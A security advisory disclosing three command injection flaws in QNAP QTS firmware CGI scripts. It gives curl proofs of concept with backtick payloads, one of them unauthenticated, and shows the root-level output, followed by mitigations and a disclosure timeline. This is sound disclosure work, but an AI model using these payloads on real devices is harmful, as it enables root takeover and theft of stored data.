QNAP TVS-663 QTS < 4.2.4 build 20170313 - Command Injection

QNAP QTS multiple RCE vulnerabilities

=====================================

The latest version of this advisory is available at:

https://sintonen.fi/advisories/qnap-qts-multiple-rce-vulnerabilities.txt





Overview

--------



QNAP QTS firmware contains multiple Command Injection (CWE-77)

vulnerabilities that can be exploited to gain remote command execution

on the devices.





Description

-----------



QNAP QTS web user interface CGI binaries include Command Injection

(CWE-77) vulnerabilities. An unauthenticated attacker can execute

arbitrary commands on the targeted device.





Impact

------



The attacker is able to execute arbitrary commands as administrative user

(root). The attacker has full access to all content on the targeted

device, and can read, modify or remove content at will.





Details

-------



The discovered vulnerabilities, described in more detail below, enable

multiple independent attacks described here in brief:



- Unauthenticated Remote Command Execution



  The unauthenticated attacker can perform HTTP requests that exploit

  the vulnerability to execute arbitrary commands. If the device is

  connected to the internet, the vulnerable devices can be taken over in

  an automated fashion and can then be used for further attacks.



- Authenticated Remote Command Execution



  The authenticated attacker can perform HTTP requests that exploit

  the vulnerabilities to execute arbitrary commands. This gives users

  that normally have only restricted access to the device full

  administrative (root) access to the system and access to all data

  stored on the device regardless of the specified access limitations.





Vulnerabilities

---------------



1. [CVE-2017-6361] Command Injection in authLogin.cgi `reboot_notice_msg' (CWE-77)



/cgi-bin/authLogin.cgi CGI has a command injection bug. The

following commands are executed via system():



/sbin/vjbod_util -i '%s' 1>>/dev/null 2>&1

/sbin/vdd_control "%s" %d 2>>/dev/null 2>>/dev/null



The value inserted to %s is obtained from the `reboot_notice_msg' HTTP

request GET parameter.



The reboot_notice_msg is a base64 encoded message of form:



QNAPVJBDTTTTTTTTCCCCCCCCCCCCCCCCLLLLPAYLOAD



- TTTTTTTT is the unix time stamp (last 8 digits)

- CCCCCCCCCCCCCCCC is the command to perform (Disconnect)

- LLLL is the payload length

- PAYLOAD is the payload contents (LLLL bytes)



By creating a crafted reboot_notice_msg value, arbitrary commands

can be executed. For example:



QNAPVJBD88150863      Disconnect  14`(echo;id)>&2`



$ curl -ki "https://TARGET/cgi-bin/authLogin.cgi?reboot_notice_msg=$(printf 'QNAPVJBD%08d%16s  14`(echo;id)>&2`' $(expr $(date +%s) % 100000000) Disconnect|base64|tr -d '\r\n')"

uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)

Content-type: text/xml



<?xml version="1.0" encoding="UTF-8" ?>

<QDocRoot version="1.0">

<command>Disconnect</command>

<payload>`(echo;id)>&2`</payload>

</QDocRoot>

$





2. [CVE-2017-6360] Command Injection in userConfig.cgi cloudPersonalSmtp `hash' (CWE-77)



/cgi-bin/userConfig.cgi CGI has a command injection bug. The following

command is executed via popen():



/sbin/cloud_util -r %s 2>/dev/null



The value inserted to %s is obtained from the `hash' HTTP request GET

parameter.



An authenticated user can use a specially crafted hash parameter to execute

arbitrary commands as root:



$ curl -ki 'https://TARGET/cgi-bin/userConfig.cgi?func=cloudPersonalSmtp&sid=SIDVALUE&hash=`(echo;id;uname%20-a)>%262`'

HTTP/1.1 200 OK

Date: Sun, 26 Feb 2017 22:55:48 GMT

Transfer-Encoding: chunked

Content-Type: text/plain



uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)

Linux TARGET 3.12.6 #1 SMP Mon Feb 13 01:43:01 CST 2017 x86_64 unknown

Content-type: text/html; charset="UTF-8"



Usage:

        /sbin/cloud_util -r [enc_token]

$





3. [CVE-2017-6359] Command Injection in utilRequest.cgi cancel_trash_recovery `pid' (CWE-77)



/cgi-bin/filemanager/utilRequest.cgi CGI has a command injection bug. The

following commands are executed via system():



/bin/kill -9 %s



The value inserted to %s is obtained from the `pid' HTTP request GET

parameter.



An authenticated user can use a specially crafted pid parameter to execute

arbitrary commands as root:



$ curl -k 'https://TARGET/cgi-bin/filemanager/utilRequest.cgi?func=cancel_trash_recovery&sid=SIDVALUE&pid=`id>/tmp/pwned`'

{ "version": "4.2.1", "build": "20170213", "status": 0, "success": "true" }



[~] # cat /tmp/pwned

uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)

[~] #





Vulnerable devices

------------------



The vulnerabilities were discovered from an QNAP TVS-663, firmware version

4.2.2 Build 20161214. They're also confirmed to work with version 4.2.3

Build 20170213.



CVE-2017-6361 was also confirmed on QNAP HS-251+ running QTS 4.2.2 Build

20161028.



It is believed that these vulnerabilities affect all devices running QTS.





Recommendations to vendor

-------------------------



1. Fix the command injection vulnerabilities by performing proper input

   validation (whitelisting) and/or shell metacharacter escaping, or by

   utilizing execl family of functions.





End user mitigation

-------------------



- Install the firmware update version 4.2.4 build 20170313 or later.



OR



- Restrict access to the web user interface (ports 8080 and 443).





Credits

-------



The vulnerabilities were discovered by Harry Sintonen / F-Secure Corporation.





Timeline

--------



21.01.2017  discovered vulnerabilities 2 and 3

23.02.2017  discovered vulnerability 1

23.02.2017  reported vulnerability 1 to the vendor

26.02.2017  started to write a preliminary advisory

27.02.2017  sent the preliminary advisory to vendor and CERT-FI

27.02.2017  requested CVE-IDs from MITRE

28.02.2017  received CVE-IDs from MITRE

02.03.2017  inquired status from vendor contact

02.03.2017  vendor confirmed CVE-2017-6361

04.03.2017  vendor confirmed the other two vulnerabilities

13.03.2017  vendor communicated about a upcoming release fixing the vulns

14.03.2017  vendor released QTS 4.2.4 build 20170313 fixing the vulns

15.03.2017  sent update to CERT-FI

21.03.2017  vendor released NAS-201703-21 advisory:

            https://www.qnap.com/en/support/con_show.php?cid=113

06.04.2017  public release of the advisory